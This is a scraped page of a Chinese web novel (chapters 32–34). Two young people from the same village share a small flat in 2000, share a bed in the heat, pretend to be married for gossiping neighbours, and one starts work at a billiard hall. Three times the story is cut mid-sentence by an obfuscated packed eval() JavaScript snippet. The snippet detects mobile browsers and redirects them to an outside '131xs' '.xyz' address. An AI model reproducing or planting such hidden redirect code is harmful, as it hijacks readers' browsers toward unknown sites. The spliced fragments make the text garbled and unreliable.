昌灵闭着眼摸了一把滑到脖颈上的汗珠,叹了口气翻身坐起来到卫生间洗脸。 自来水只能带走浮于表面的热气,她不想擦,只等着水分自然蒸发。等眼睛适应了黑暗,昌灵借着零星月光,这才看清了卧室和客厅交界处呆愣愣的电风扇究竟是什么情况。 卡壳卡的很有水平,正吱哇高歌着冲卧室内直吹,完全不管客厅的死活。冷风易阁占了,她只得了个噪音污染。 昌灵撇撇嘴,抬手无情地给了风扇后脑勺一巴掌,只听风扇头咔吧一声——转了。 不打不干活,又贱又偏心。 她顺手截住妄图沿着衣领往里滑的水珠,举起手停在耳旁,边扇风边慢悠悠地往厨房走。 冰箱里还放着吃剩的四分之一个西瓜。 今夜吹的北风,厨房的温度比客厅凉快许多。昌灵切了一角西瓜靠在灶台前慢慢啃,认真思考在厨房搭个行军床的可行性。 怎么都比在客厅闷着舒服些吧? “昌灵?你干嘛呢?”易阁的嗓音里还带着明显的沙哑,应该是被她的动静吵醒了。 觉这么浅? 昌灵扔了西瓜皮洗干净手:“没事,就是热醒了。” 话音刚落,只见玻璃隔断上倒映着的身影匆匆下了床,蓦地拍开了卧室的灯。 昌灵没准备,灯光亮起的瞬间偏头遮了下眼睛,问:“突然开灯干嘛?” 易阁穿着黑背心和大裤衩出现在门口,视线没看她,只落在风扇上:“它又卡了?吹不到你吗?” 风扇的摆放位置是易阁睡前特意测算过的,右摆头时能吹到卧室,左摆头正好吹到沙发,两边都不耽误。 昌灵“嗯”了声,玩笑道:“它可能对我有意见吧,只喜欢吹帅哥。” 易阁瞥了她一眼又光速移开,淡淡地说:“没你好看。” “……”昌灵闻言怔愣着没反应过来。 这是对她玩笑话的反击吗?还是真心实意在夸人…… 易阁没注意到她因为短短四个字就陷入天人交战里,继续语出惊人道:“要不你跟我一块儿睡吧,今天太热了。” ? 昌灵嘴巴张成一个圆:“……啊?!” 易阁面不改色指着风扇:“它不开摆头就不会叫,直吹床就是了,还凉快。” 有道理。昌灵听着默默后退了一小步。 “……”易阁摸了下后脖颈,不太自在地看向卧室的床,说:“这床小是小了点,但在中间放个枕头还是可以的,咱俩楚河汉界,我睡觉很老实,你放心。” “我……”放心吗? 昌灵一时不知道到底是谁该不放心。 这么多人喜欢的易阁,现在居然在邀请自己同床共枕?好吧,只是同床,没有共枕。 但…… 还没等她想好该说什么,易阁又说:“不用你加房租,反正就一个夏天。你大晚上老折腾着不睡觉,也很影响我的。” 昌灵抿了下嘴,深更半夜脑子也没有平常转得快,只能想到什么说什么:“这个,你不是说能修吗,就算修不好,也可以买个新的吧?” 易阁:“你之前不是还说攒钱买个洗衣机,不想再手洗了吗。” “啊,是。”夏天换衣服勤,有味道又不能攒,昌灵不想白天卖衣服,晚上洗衣服,每天一大半的时间都浪费在衣服上。 “那还能有多余的钱买风扇?”易阁说。 也是,昌灵想,反正睡一张床她也不吃什么亏。 “那行,就睡吧。”说着她干脆利落地去搬枕头。 “哎?”易阁没想到昌灵答应得这么痛快,愣在原地发呆。 “怎么了?”见人杵在门口没动,昌灵问:“你不给风扇重新安排个位置吗?” “……安。”易阁猛地弯下腰往卧室里移风扇。 床单摆动时好似风过湖面带起的阵阵涟漪。 “能吹到。”昌灵第一次坐在这张床上,感受风的力度和方向。 易阁仔细固定着风扇的位置,片刻后抬臂擦了擦额头上的薄汗,沉声说:“应该没问题了,睡吧。” 昌灵当即脱鞋上床,把原先自己铺着的被子堆了堆放在床中间充当分界线:“你体积大,我就给你多分了一点,你看行吗?” 易阁闻言上床的动作一顿,余光扫了一眼中间那条被子,说“行”。 昌灵拍了下手:“那没问题了。” “有。” “还有什么?” 易阁自始至终都没看她,沉吟良久神色平静地说:“你衣服领口湿了,以后洗完脸还是擦干再出来吧。” 昌灵低头确认了一下他的话,确认无误之后,不在意地“噢”了声。 ** 这个夜晚的后半段和易阁想的一样难熬。 昌灵体温偏低,更怕热一点。所以每当他被热醒时,昌灵只会比他醒得更早。 但昌灵睡眠质量好,醒了洗把脸继续睡,一点儿不耽误。他不行,去洗脸就得路过客厅,万一昌灵睡相不好,太不方便。 于是易阁习惯了在热醒后给自己留一段胡思乱想的时间。东家长,西家短,偶尔掺杂着老家的一些事,事想明白,心静下来,自然也就睡着了。 前些天他也想过要不要主动提出来和昌灵换房间,毕竟卧室还有一扇窗,总比不透风的客厅强。但又怕昌灵觉得自己是想暗示她多付房租,容易影响他在昌灵心中的正面形象。 正当易阁磨磨唧唧没想出个所以然时,昌灵如雪中送炭般提醒说楼下有个旧风扇。 ——也不是不行。 可没想到这风扇还是个有个性的,上班第一夜就开始无规律吟唱,易阁被它吵得心烦意乱根本没睡着。 昌灵是两点多醒的,趁她去洗脸的功夫,易阁爬起来看了一眼表。 至于为什么提议说一起睡,他其实也没具体想。就觉得昌灵一个小姑娘大热天睡在客厅太遭罪,但如果要多花钱她又肯定不答应。 现在这样两全其美,大家都能睡得舒服,何乐而不为? 易阁压根没想到什么跟情情爱爱沾边的事儿,只担心自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535026|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己从小到大第一次和别人睡同一张床,大概会不适应。 蝉鸣蛙叫交替谱曲,风扇的冷风扑过他的身体,昌灵温热的呼吸打在他的耳际,易阁莫名觉得自己更热了。 还是冰火两重天的那种极端折磨。 他一连做了几次深呼吸都毫无用处。 易阁叹了口气,失策了。 或许是他的轻微声响也会对身边的人产生影响,睡梦中的昌灵无声朝他的方向翻了个身,胳膊搭在他们二人中间的被子上——一个完美的环抱动作。 易阁呼吸一滞,浑身上下只剩眼睛还在眨,她不会醒了吧? 两分钟后,确定昌灵的呼吸依旧平稳,环抱的对象也没从被子演变成自己,易阁才稍稍放下心来,小心翼翼地侧过脸去看昌灵。 往常见的都是她睁着眼睛眨啊眨的样子,现下这样近距离的睡颜,还是大半年来头一回。 每一次看,易阁都觉得她变得比上一次更漂亮,眼睫毛也很长。但脸颊上的肉越来越少,也不知道摸起来是什么手感。 …… 片刻后易阁快速扇了自己一巴掌。他目不转睛地盯着天花板,默默开始数羊。 ** 半梦半醒间,昌灵恍惚觉得自己睡在棉花团里,柔软又舒适。又仿佛回到了西乡晒不到太阳的偏房里,阴冷又潮湿。 她缓缓睁开眼,一只棕色的手臂贴着她的鼻尖赫然映入眼帘。 我靠!什么情况! 昌灵猛地向后仰,心口不受控的怦怦直跳。等她完全回过神,这才看清眼前是什么情况: 睡前堆在她和易阁中间的被子不知道什么时候变成了她的枕头,自己整条人几乎都要躺到被子上,额头抵在易阁肩膀。而她的右腿,正悠闲地压在易阁大腿上。 易阁躺得笔直,毫无察觉。 苍了天了。 昌灵生无可恋地闭了闭眼,试图悄无声息的把自己这条入侵意识极强的腿挪下来。还没等她动作,易阁忽然无意识地抬手抓了抓脸,吓得她一下子屏住了呼吸。 现在他要是醒了该说点什么?昌灵慌乱地转转眼珠,就说‘你好,今天天气很好’怎么样? 算了太蠢了,要不还是装睡吧。 她屏气凝神十秒钟,易阁好像丝毫没有要醒的意思。昌灵不敢大意,又静等了一会儿,确定易阁真的毫无动作后,她才将眼睛稍稍睁开一条缝隙,好嘛虚惊一场。 “呼——”她长叹一口气。 秉持着天下武功唯快不破的原则,昌灵嗖地一下把腿收回来,同时紧盯着易阁的脸,时刻观察他的反应。 睡得很死,和半夜被她吃西瓜的声音吵醒时大相径庭。 昌灵挑了挑眉,饶有兴致地欣赏起易阁的脸。五官单看似乎都不怎么完美,但组合在他的脸上又别有一番效果。 剑眉星目,清隽挺拔。 如果不是他有那样一个妈,怎么也不会沦落到和她住一起的地步,有时候想想也觉得挺有意思的。 毕竟高中三年,昌灵都没想过会和易阁这样的存在产生什么交集。 还真是世事无常。 32. 2000 今天是昌灵正式在台球厅上班的第一天。 易阁刚睁开眼就听见卫生间里断断续续的哼歌声,旋律轻快,可见昌灵心情很好。 他松了口气盯着天花板努力调整自己的呼吸,转移注意力。昌灵上白班是好事,起得早,他就不用为了逃避尴尬天天装睡了。 放空片刻,易阁又不免想起来父亲之前说过的一句话:有些事是没有后悔的机会的。他现在深刻理解了这其中的含义。 昌灵第一次把腿搭在他身上时,易阁数羊正数到五百六十一,突如其来一条腿的重量,吓得他把第五百六十二只羊卡在嘴里滚了三圈又吞了回去。 瞌睡虫全都惊飞了。 易阁像卡顿的电风扇那样缓缓扭头看向昌灵,人没醒,不是故意的。 但他还是不敢轻举妄动。 万一他动一下,昌灵就醒了呢?这场面,怎么看怎么尴尬。 易阁皱着脸稍加思索过后,小心翼翼伸出手把昌灵贴在他上臂的额头移开,又把自己的上半身往另一侧移了移。还没等他想好该如何合理解决“腿”的问题,身旁的人又像个八爪鱼似的黏黏糊糊缠了上来。 好家伙。易阁怎么也没想到,自己是睡觉老实的那一个,眼前这位居然是他的相反词。 要不还是破罐子破摔直接推开?易阁挣扎着想,那昌灵会被吓醒吧,搞不好她还会尴尬到找个地缝钻进去。 算了,深更半夜,他也不想太折腾。 反正昌灵的腿也没有很热。 要不然还是委婉地提醒她一下? …… 直到第二天清晨易阁才发现,自己在昨夜那种进退两难的境地里,犹犹豫豫地睡着了。 还睡得很踏实。 以至于他在察觉到昌灵有醒来的迹象时,毫不犹豫地闭上了眼睛。 他不想面对了,看昌灵怎么解决吧。 不过出乎易阁意料的是,昌灵除了把自己的腿收回去以外,也没什么特殊的反应,后面几天还是像什么都没发生那样继续一起睡。 女孩儿都不放在心上的话,他似乎也没什么太介意的必要?易阁有点不好意思地想。 ** 百乐台球厅外早已财大气粗的摆好了十几门礼炮,势必要做柳岸街最出彩的商户。 老板姓林,本地人,个体经济兴起之后家里陆陆续续开了不少小网吧、小舞厅,在当地颇有人脉。和陈家旺就是在他家的舞厅里认识的。 “来来来,大家都先过来一下,我有几句话想说。”他今天穿了一身板正的西装,打了条红领带,俨然一副大老板的派头。 昌灵把手里的宣传单放回原位,跟着大部队往球桌附近集合。 “面试的时候咱们都见过了哈,我就不做自我介绍了,你们也得互相认识一下吧。”林老板点了一下离他最近的人,“来,从你开始挨个说。” “我叫张美,你们叫我阿美就行,岗位是助教。” “好,欢迎欢迎,下一个。” …… 轮到昌灵,她掐了下手指微微笑着:“我叫昌灵,岗位是前台,今后的工作也希望大家多多关照。” “哎!”林老板听完拍了下手,“你们这些服务员和助教都认识一下昌灵啊,工作中免不了和她沟通,都好好配合听到没。” “明白。” 员工一一介绍完毕,林老板继续说:“从今天开始我们就是一家人了,工作中有什么困难都可以跟我提嘛。开业第一天,我的一些狐朋狗友、亲朋好友啊来得比较多,如何心甘情愿让他们掏钱成为我们店的会员,优质的服务是最重要,懂吧?” “懂。” “他们高兴了一掏钱,我们店就好起来了。只有我们店好了,你们的腰包才会鼓起来,你好我好大家好嘛。” 众人都点点头。 最后林老板大致说了一下开业的流程后就招呼大家解散,该干嘛干嘛去。 昌灵回到前台翻看印好的会员登记表。 林老板随后走近敲了敲桌子,“灵啊。” “哎老板,有什么事吗。” “不是跟你说了,叫我林哥就行。”老板故作不满,“你是家旺的表妹,那就是我亲妹妹,一家人这么叫多生疏。” 昌灵笑了下,“行我记住了,林哥。” “一会儿人来了,你跟在我后面认认脸,确保他们以后再来,一进门你就能认出来,能做到吧?” “能。”记人这活儿昌灵驾轻就熟。 “再就是除了收钱以外,”林老板低声说,“有小打小闹的事,找服务员拉开就行。要是闹大了,你懂吧,给我打电话,不准先报警。” “嗯我知道,您昨天都说过。” “那些助教啊,要是跟你抱怨你就别听,别过耳朵。谁要是为难你,能动手咱就别动嘴,这种地方拼的就是谁横,我给你兜着,放心没有事儿啊。” 这话说的…… 昌灵面上仍笑道:“林哥放心,我不会惹事的。” “上道!”林老板伸手过来拍了拍她的肩膀,“好好干,咱们一起赚大钱。” 待人走后,昌灵垂下眼睫盯着那摞登记表,声色犬马,各人有各人的需求和活法。而她要做的,就是一直往上,一直往前。 赚大钱。 声声礼炮轰鸣,滚滚红尘翻涌,昌灵绝不能落于人后。 ** 开业前三天,进场的几乎都是老板的朋友,朋友的朋友。几个助教忙得晕头转向,服务员一天得拖五遍地,昌灵反倒成了最清闲的那一个——坐在前台沏茶看球嗑瓜子。 另一个和她倒班的前台也已经到岗了,第一个月昌灵白班,她夜班。 “雨姐,这是今天的单子,还有两张桌没清,阿美的二号桌可能还要续两个小时。” 宋雨扫了一眼二号桌,没什么表情地说:“行,我知道了,你先回去吧,一会儿赶不上公交车了。” 昌灵敏感地察觉到宋雨情绪不对劲,但她们二人的交集不多,昌灵也没有多问:“辛苦了,雨姐。” “嗯,去吧。” 店门口到公交站的这段路没有遮挡,刚从空调房迈出来昌灵就忍不住皱了下眉,雁山城夏天的气温比西乡高太多,她有些不适应。 回家的路上,她拿出记账的本子算了算,等这个月发了工资,就能买一个新洗衣机,还上易阁帮她垫的那些房租。 手里还能有富裕。 昌灵长舒一口气,决定犒劳一下自己,今天不逛小区门口的小商店,逛糖酒副食品超市! 原本想买的生鲜品更多,但冰箱太小了,只能计算着空间买,冰糕都得掰着指头数。拎着一大塑料袋东西,昌灵不算尽兴,但也够吃了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535027|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “小昌,今天下班这么早呢,去买东西啦。” “是。”昌灵朝邻居点点头,客气地问:“您要出去啊?” “孩子要放学啦。” “那您先忙。” “哎小昌?”邻居刚走出去两步又出声喊住她。 昌灵:“怎么了,还有事吗?” “你跟小易什么时候结婚呀?趁年轻可得抓紧时间结婚生孩子呀。” “啊?”昌灵有点没反应过来。 “嗨,你也别觉得大姐我多管闲事。今天你们朋友不是来了吗,我刚好听见了一嘴,才知道原来你们没结婚呢。” 朋友?什么朋友? 昌灵微微笑着:“姐,您说这话是什么意思呢,我没太听明白。” “哎呀小昌,那我就直说了。”邻居四处张望了一圈,悄声说:“你知道吧,这小年轻没结婚就住一起,影响不好。这种事要是放以前,那都得拉出去批判乱搞男女关系的。” “还有呢?” “小易是男的,他无所谓。可你不行呀,你们俩要是成不了,那你可就不值钱了,以后怎么嫁人呢。” 昌灵觉得荒谬,有点想笑。 她问:“那您有什么好建议吗?” “照我说,你抓紧跟小易提结婚呀。” “我们两个没钱,怎么结婚呢。” “就领个证的事,花不了多少钱。然后呀,抓紧时间生个小孩。你们这样住着,是要被别人戳脊梁骨说闲话的。” 昌灵点点头,也不想跟无关的人浪费口舌,只说“知道了”。 比起这些莫须有的闲话,她现在更想知道,邻居口中说的朋友是谁。易阁带别人回家了吗,在不经过她的同意下。 “回来了啊,晚上吃牛肉面吗。路口刚开了一家面店,离得近还能外送。”刚一打开门,易阁就从客厅探出头来,“哎?你怎么买这么多东西?” 昌灵放下塑料袋,直截了当地问:“今天有人来过吗?” 易阁一愣:“你怎么知道?” “谁来了?” “毕小伟,他高考完了。” 昌灵闻言有一瞬间的恍惚,原来她最珍重的改变命运的契机,已经在日复一日的工作中错过了。 但她来不及伤春悲秋。 “你带他来家里,为什么不提前告诉我?” “……”易阁不明白,片刻后勉强笑了下,“这需要提前说吗?” “易阁,咱们俩是合租,这不是你一个人的家。”昌灵偏开头,尽量避免和易阁正面冲突,“更别说毕小伟是从西乡来的,万一他回去之后和别人透露我们的地址怎么办,万一老家其他人也找过来怎么办?” 易阁:“他不会的。” “你怎么保证?” 易阁无奈地摸了下后脖颈:“他真的不会,你不用担心这个。” 昌灵闭了闭眼,冷静过后才说:“好,就算他不会吧。但你以后带人回来能不能提前知会我?我不想有哪一天一进门发现家里坐着一个陌生人,还是从西乡来的陌生人。” “……行。”易阁点了下头,“我知道你对西乡印象不算好,但这点小事,你不用这么敏感,也不用着急上火。” “……”昌灵抿了下嘴。 “晚上吃什么,牛肉面行吗?”易阁问,“还是你买了什么好吃的?” 33. 2000 其实进门之前昌灵有很多话想说。她想这件事自己是占理的,可以理直气壮地告诉易阁,如果你要带朋友回来,必须提前征求我的同意才行。 所以在她听见易阁轻描淡写地说“这需要提前说吗”时,内心蓦地生出一股无名火。 易阁好像不觉得自己是错的。 但要像之前跟父亲那样撕破脸皮吵,昌灵也觉得没必要。 易阁说的没错,这只是一件小事。但她就好像一拳打在了棉花上,后面想说的话怎么也说不出口了。 昌灵冷着脸把塑料袋拎回厨房里,没有放在茶几上。 “不想吃?”易阁没听到她的回答,自顾自说:“但我听同事说那家牛肉面还行,新店开业还多送几片牛肉。” 昌灵盯着袋子里用保鲜膜包着的生牛肉看,心情却远不及在超市冷冻柜里看到时开心。 看来保质期不光对食品有用,就连好心情也是有时效的。 她沉默着把肉塞到冰箱底下冻好,手掌扶着冰箱门,淡淡地说:“你想吃就吃吧,给我那碗多加点辣椒。” 牛肉面的香气足以吸引两个饥肠辘辘的年轻人。易阁解开盛面的袋子喟叹一声,拿起还没用过的筷子夹了自己那份牛肉给昌灵:“牛肉补铁,你多吃点吧。” 昌灵没觉得自己需要补什么,但易阁俨然一副‘事情已经过去你就别再计较’的态度让她泄了气。 仿佛是自己在小题大做,易阁根本就没放在心上。 她把摞在面条上方的牛肉压进汤里,易阁头也没抬地提醒道:“小心烫。” 风扇不用摆头之后也没了噪音,客厅里只剩下叶扇转动的风声和轻微的咀嚼声,再无交谈。 扔完垃圾回来,昌灵思忖了很长时间才问易阁,今天毕小伟来都干了什么。 易阁正在卫生间洗衣服,闻言把水龙头关小了些,说:“没干什么啊,他考完了闲着没事干。” “成绩出来了吗?” “还没有。”易阁笑了下,“但他那个水平,就算烧高香也考不上。” 昌灵目光空洞地落在茶几的一角:“那你们在外面说什么了?” “啊?” “我回来的时候碰见楼上邻居了。” 易阁抬手关掉了水龙头。 “她跟我说,听见你和朋友聊天,我们还没结婚就住在一起。 “这是什么意思啊?” “……”易阁心里倏地一跳。 昌灵的声音由远及近出现在卫生间门口,一字一句认真道:“易阁,你跟毕小伟到底说什么了?” 易阁甩了甩手上的水,低下头双手撑在洗漱台上,开口就是一声郑重的道歉:“对不起啊,我不是故意的。” 昌灵摇摇头:“我不需要道歉,我只是想知道说了什么而已,这话需要重复问三遍吗?” 你们到底说了什么样的话,以至于需要我在太阳底下被邻居贬低到一文不值。 “也不是。”易阁沉吟片刻,觉得难以启齿。 但看见昌灵平静下压抑着怒意的脸,他还是决定委婉地坦白:“毕小伟走之前突然问我,这里就一间房,咱们两个人怎么睡。” 毕小伟低俗无知,不停暧昧地冲易阁挑眉毛,问他处/男开荤的感觉怎么样。易阁当即咬牙切齿给了他两脚,听着毕小伟“哎呦哎呦”的声音,却也不知道该怎么回答。 说自己跟昌灵没关系,又解释不清为什么他们睡同一张床。他一大老爷们无所谓,可昌灵是女孩子,名声很重要。 由于这片刻的沉默,毕小伟就当他默认了。出门的时候还自以为贴心地提醒他,大家现在年纪小,睡一块儿又不能领证,没有法律保障,还是做好避孕措施比较好。 好巧不巧就被下楼的邻居听见了,易阁反应再快都没来得及捂他的嘴。 “嗯。”昌灵问:“然后呢?” “然后那邻居就走了,也没说什么。怪我,毕小伟来之前我忘了咱俩睡一起的事了。但他突然问起来,我一下子没想起来该怎么解释。” 昌灵不理解:“照实说就好了啊。” “那你的名声呢?”易阁语速有点急,“毕小伟要是知道了咱俩没关系,还睡一起,他会怎么想你?” “我管他怎么想。”昌灵眯了下眼睛,突然想到什么,试探道:“你是怕他误会我还是误会你?” “我?我的名声有什么要紧的。” “那我有什么要紧?” “你是女孩儿,咱俩能一样吗。” “男女平等你不知道啊。” 易阁:“……” 我知道,但在这种事上也适用吗? 或许易阁自己意识不到,在他一贯冷漠的面孔上偶尔流露出的一点呆滞,真的很有意思。昌灵莫名就不生气了。 “算了。”她摆摆手,“不用说了。” “别别。”易阁攥拳伸出手臂拦住她,“我们还是把话说清楚吧。” 水流顺着易阁的胳膊滑至手肘最后落到地上,昌灵视线扫过他的拳头,片刻后嗯了一声:“去客厅说吧,站这太热了。” ** 易阁从冰箱里拿了两袋牛奶倒进锅里煮。 昌灵觉得稀奇:“你不是爱喝冰牛奶吗,夏天反倒喝热的?” “谁说的?”易阁反手指了下垃圾桶,“早过期了。” ? 昌灵疑惑地从垃圾桶里捏出最后两袋牛奶的空包,保质期清清楚楚印着三月份到期——也就是易阁把牛奶放进冰箱的后一个月。 “所以你把牛奶放进冰箱是因为它们要过期了?”她不太确定地问。 易阁:“不然呢?” 不然……“我以为你喜欢喝冰啊。” “还行,是挺喜欢的。” 昌灵忽然觉得自己有些以小人之心度君子之腹,之前还以为…… 她尴尬地摸了下耳后的皮肤:“那这都过期好几个月了,还能喝吗?” “我一直陆陆续续在喝,没什么事。”易阁想了想又说,“但你要是肠胃不好还是别喝了。” 昌灵闻言扯了下嘴角,“喝,我去外面等你。” 十分钟后。 冒着热气的牛奶端上桌,昌灵小心翼翼顺着边儿抿了一小口。还好,没变味。 “说吧。”她捧起牛奶靠在沙发上。 易阁深呼一口气,严肃道:“我们两个人的关系,需要有一个对外的说法。” “赞同。”照邻居的八卦速度,恐怕现在整栋楼都要知道他们两个‘乱搞男女关系’了。 易阁:“你怎么想?” “没想法。” “今天邻居跟你说什么了?” 昌灵抬眸看着他,片刻后尽量按照记忆里邻居的原话复述了一遍。 易阁还没听完就骂了一声脏话。 昌灵:“差不多就这些。” “你跟他们说过年龄之类的吗?” “没有。” “那他们再问起来,就说我们在老家办过酒席了,只是当时没到年龄,出来又没带户口本,所以暂时没去领证。” 这是刚才易阁煮牛奶时想到的最合理的说法。 昌灵眨了两下眼:“你想这样说?” “不行吗?” “行倒是行。”昌灵问,“但你要挨家挨户去他们家解释吗?谁会再莫名其妙问我这些啊。” “……” 易阁:“那他们问我的时候,我说。” “随便吧。”昌灵无所谓。 “还有……” “还有什么?” “我单位那边,我也这样说行吗?” 昌灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535028|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一愣:“单位还管这些吗?” “就上次晚会,登记电饭煲那回,后面厂子里就老有人问。” “他们又不知道我们住一起。” “但这是三九八的家属区,好多人都在厂子里上班,万一被他们知道我们有两套说法……”易阁为难地说,“会有点麻烦。” 有道理。 “可以。”昌灵没意见,“但我上班那里就无所谓了吧。” “啊,你最近上班还顺利吧?” “挺好的,每天就喝喝茶看看球,准点下班,清闲得很。” 易阁稍稍放心了些:“那就行。” 昌灵把喝空的碗摞到一起,易阁顺势接过去说:“我去刷吧,你歇歇。” 语气里带着些许愧疚。 昌灵也没跟他假客气,抱着从店里带回来的杂志躺在了床上。 各做各的事。 ** 昌灵把自己的胳膊和腿从易阁身上撤下来,坐直身体伸了个懒腰,又是艳阳高照的大晴天。 睡一晚上脖颈周围都是黏黏糊糊的,等她冲完澡出来,易阁正闭着眼坐在沙发上。 昌灵到阳台把毛巾挂好:“今天我做饭,你怎么起这么早?” “别做了。”易阁嗓音沙哑,“你等我冲完,跟我一起出去买。” “买早饭还要两个人?” 易阁睁开眼:“昨天我们说的什么?” ? 昨天说要一起出去买饭吗? 看她神色茫然,易阁解释道:“你不是说不能挨家挨户解释吗,那我们主动一点,一起出去逛一圈儿。” 昌灵很快明白他是什么意思,转了转眼珠:“扮演一对儿?” “嗯,小区里买早饭的人不少。” “行,那你快点。” “我很快。” 易阁原本想的就是一起出门,再见机行事。没想到昌灵倒是很大方,直接挽在了他的手臂上。 易阁身体一僵,睡觉时熟悉的感觉又回来了。 昌灵自然感觉得到他身体的变化:“你怎么了,热啊?” “还行,走吧。” 这一路上熟人没碰到几个,但收获的目光却不少。这种带着戏谑的注视一下子把昌灵拉回了去年西乡的冬天。 好在她现在不是一个人了。 楼下赵大妈拎着油条慢悠悠地迎面走来。 昌灵轻轻拍了下易阁的手臂,示意他打起精神来活儿了。 “大妈,起这么早买饭呀。”昌灵笑着说道。 “小昌啊,你们也出来买饭呀?” 易阁:“大妈早。” “早早。” “不是,我们今天有点事,准备凑合着吃了饭直接出门的。” 赵大妈很热心,立刻问:“出什么事啦,这么急?” 昌灵:“也不是急事,就是朋友要办酒席,离得远,赶着去送份子钱。毕竟之前我们结婚人家都给了嘛,不好不去的。” 这一刻,易阁由衷地佩服她胡说八道的能力。如果不是提前知道内幕,恐怕现在他也要信了。 赵大妈:“哎?你们办过酒席啦?不是说没……” “嗯?什么?”昌灵无辜地眨眨眼。 “哎呀,我就是听他们胡说的,说你们俩没领证呢。” “是没领。”昌灵腼腆地笑笑,“我和我老公打小就认识,所以家里早早就给办了酒席,至于领证,那时候还没到法律允许的年龄,村里嘛不在意这个,我们也是进了城才知道得补结婚证。” 赵大妈恍然大悟:“这样啊,我就说嘛。” 昌灵暗地里掐了下易阁,大哥,你也说句话啊。 易阁心领神会,坚定道:“对,青梅竹马。” “……” 昌灵:不是这句吧。 34. 2000 名义上的已婚是昌灵生活中最无关紧要的一笔。毕竟邻居难听的议论有或者无,她还可以选择听与不听,但在工作场所,她不想见的人并不会如愿不出现。 黄燕是跟几个男男女女一起来的,但开台付费的不是她,所以进门时没注意到前台的样貌。 她今天穿了一件黑色紧身包臀连衣裙,V字领口开到胸口的位置,半个胸都暴露在外面。昌灵快速替他们填好了表格开了桌,眼神不自觉地跟着黄燕移动。 她身上散发出的自信对昌灵有足够的吸引力,让人无法抗拒。 下午三点钟,阿美才扇着扇子从外面回来,迟到了一个半小时。 她推开门直奔前台:“小灵姐,我不是旷工啊,我是陪客户外出刚回来。” “没关系,我可以给你写外勤。”这些助教经常有这类问题,昌灵都很好说话。 “还是你好,小灵姐。” 昌灵笑笑。 林老板给她的身份是十九岁,所以她毫无心理负担地接受了十八岁的阿美叫自己‘姐姐’。 “你都不知道,我昨天让宋雨姐记外勤,她死活都不肯同意,非要我给老板打电话。” 昌灵不理解:“为什么?” “不知道。”阿美撇撇嘴,“可能是怕我赚钱赚太多咯。” “你怎么这么想。”昌灵失笑,“雨姐人挺好的。” “小灵姐,我看人很准的。你呀,对人有点防备心吧,世界上哪有那么多好人。” “……或许吧。” 说完昌灵忍不住捏了一下阿美带着点儿肉肉的脸颊,“我们两个也没差几岁,怎么你就好像一副看透世事沧桑的样子啊。” 阿美闻言故作老成地拍拍她的胳膊,“你是老板的妹妹嘛,很多事呀是不会懂的。” 话听进耳朵里,并没有过脑子。昌灵抬眸看着黄燕的方向,又随意问后来呢,雨姐给老板打电话之后呢。 “老板让她别多管闲事。” ? 昌灵微微皱了下眉,这也叫多管闲事吗。 阿美无心继续这个话题,顺着她视线的方向看过去:“小灵姐,你看什么呢?” “没什么,我随便看看。” “四号桌那是什么人?谁带的台?” 听到昌灵说没人带,是自己来的,阿美顿时眼前一亮,整理了下着装即刻出发,昌灵在后面喊了两声都没叫住她。 干嘛去呀? 他们只开了三个小时的台,昌灵下班前人就走了。其中一个男人拿着黄燕的包,正在给阿美留电话。 阿美把手机递给他让他自己输名字,走之前他还很有礼貌地跟阿美说了句“下次见”。 等黄燕的身影消失在玻璃门外,昌灵急忙朝阿美招了下手:“你去干嘛了?” 阿美晃了晃手机塞进裤子口袋里,“拉客啊,刚才那个,说下次来找我开台。” 这也行? “你真厉害。”昌灵比了个大拇指给她,“不过他们真的还会来啊?会员表也没填。” “今天他身边那么多姐姐当然不好填,等他一个人来我肯定让他多多出钱。” 昌灵想到黄燕和那个包,漫不经心问道:“里面有他女朋友哦?” 阿美像是听了个笑话,嘴角带着点儿捉摸不透的笑意:“怎么可能,我刚才旁敲侧击打听过,那些都是银海的人。” 银海? 见昌灵的疑惑和茫然不像是装的,阿美才语气夸张地问:“小灵姐,你不会连银海也不知道吧?” 昌灵缓缓摇了摇头。 “天呐,你是老板老家来的妹妹吧?” “……”好像是在嘲讽她。 不过阿美也没跟她卖关子,直说道:“银海是咱们这数一数二的KTV啊,在市中心最好的地段。” “KTV?” “嗯,她们都是那里的。” KTV昌灵还是知道的,之前路过一家快要倒闭的店,灯牌上亮着‘尽情欢唱’。 “那里赚钱很多吗?”昌灵好奇地问道。 阿美意味深长地看着她,半晌幽幽开口:“小灵姐,你真的太单纯了。” “我……” “据我所知,服务员应该赚不太多。”阿美打断她的话。 “什么意思?” “但你看她们那种打扮,像服务员吗?” 昌灵不太确定。 “她们是陪酒小姐啦。” ? 这话听起来实在是太不可思议,以至于昌灵久久没有回过神来。 所以—— 